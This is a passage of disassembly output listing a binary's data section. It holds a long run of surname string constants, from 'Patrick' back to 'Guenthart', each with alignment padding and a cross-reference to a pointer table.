aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E954o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E950o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E94Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E948o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E944o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E940o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E93Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E938o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E934o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E930o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E92Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E928o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E924o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E920o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E91Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E918o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E914o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E910o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E90Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E908o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E904o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E900o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E8FCo
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E8F8o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E8F4o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E8F0o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E8ECo
aOman		db 'Oman',0             ; DATA XREF: ___:0042E8E8o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E8E4o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E8E0o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E8DCo
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E8D8o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E8D4o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E8D0o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E8CCo
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E8C8o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8C4o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8C0o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8BCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8B8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8B4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8B0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8ACo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8A8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8A4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8A0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E89Co
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E898o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E894o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E890o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E88Co
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E888o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E884o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E880o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E87Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E878o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E874o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E870o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E86Co
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E868o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E864o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E860o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E85Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E858o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E854o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E850o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E84Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E848o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E844o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E840o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E83Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E838o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E834o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E830o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E82Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E828o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E824o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E820o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E81Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E818o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E814o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E810o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E80Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E808o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E804o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E800o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E7FCo
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E7F8o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E7F4o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E7F0o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E7ECo
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E7E8o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E7E4o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E7E0o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E7DCo
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E7D8o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E7D4o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E7D0o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E7CCo
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E7C8o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7C4o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7C0o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7BCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7B8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7B4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7B0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7ACo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7A8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7A4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7A0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E79Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E798o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E794o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E790o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E78Co
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E788o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E784o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E780o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E77Co
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E778o
aMay		db 'May',0              ; DATA XREF: ___:0042E774o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E770o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E76Co
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E768o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E764o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E760o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E75Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E758o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E754o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E750o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E74Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E748o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E744o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E740o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E73Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E738o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E734o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E730o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E72Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E728o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E724o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E720o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E71Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E718o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E714o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E710o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E70Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E708o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E704o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E700o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E6FCo
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E6F8o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E6F4o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E6F0o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E6ECo
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E6E8o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E6E4o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E6E0o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E6DCo
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E6D8o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E6D4o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E6D0o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E6CCo
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E6C8o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6C4o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6C0o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6BCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6B8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6B4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6B0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6ACo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6A8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6A4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6A0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E69Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E698o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E694o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E690o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E68Co
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042E688o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E684o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E680o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E67Co
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E678o
aLine		db 'Line',0             ; DATA XREF: ___:0042E674o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E670o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E66Co
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E668o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E664o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E660o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042E65Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E658o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E654o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E650o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E64Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E648o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E644o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E640o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E63Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E638o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E634o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E630o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E62Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E628o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E624o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E620o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E61Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E618o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E614o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E610o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E60Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E608o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E604o
aLa		db 'La',0               ; DATA XREF: ___:0042E600o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E5FCo
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E5F8o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E5F4o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E5F0o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E5ECo
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E5E8o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E5E4o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E5E0o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E5DCo
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E5D8o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E5D4o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E5D0o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E5CCo
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E5C8o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5C4o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5C0o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5BCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5B8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5B4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5B0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5ACo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5A8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5A4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5A0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E59Co
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E598o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E594o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E590o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E58Co
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E588o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E584o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E580o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E57Co
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E578o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E574o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E570o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E56Co
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E568o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E564o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E560o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E55Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E558o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E554o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E550o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E54Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E548o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E544o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E540o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E53Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E538o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E534o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E530o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E52Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E528o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E524o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E520o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E51Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E518o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E514o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E510o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E50Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E508o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E504o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E500o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E4FCo
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E4F8o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E4F4o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E4F0o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E4ECo
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E4E8o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E4E4o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E4E0o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E4DCo
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E4D8o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E4D4o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E4D0o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E4CCo
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E4C8o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4C4o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4C0o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4BCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4B8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4B4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4B0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4ACo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4A8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4A4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4A0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E49Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E498o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E494o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E490o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E48Co
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E488o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E484o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E480o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E47Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E478o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E474o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E470o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E46Co
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E468o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E464o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E460o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E45Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E458o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E454o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E450o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E44Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E448o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E444o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E440o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E43Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E438o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E434o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E430o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E42Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E428o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E424o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E420o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E41Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E418o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E414o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E410o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E40Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E408o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E404o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E400o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E3FCo
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E3F8o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E3F4o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E3F0o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E3ECo
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E3E8o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E3E4o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E3E0o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E3DCo
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E3D8o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E3D4o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E3D0o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E3CCo
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E3C8o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3C4o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3C0o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3BCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3B8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3B4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3B0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3ACo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3A8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3A4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3A0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E39Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E398o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E394o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E390o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E38Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E388o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E384o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E380o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E37Co
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E378o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E374o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E370o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E36Co
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E368o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E364o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E360o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E35Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E358o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E354o
		align 4
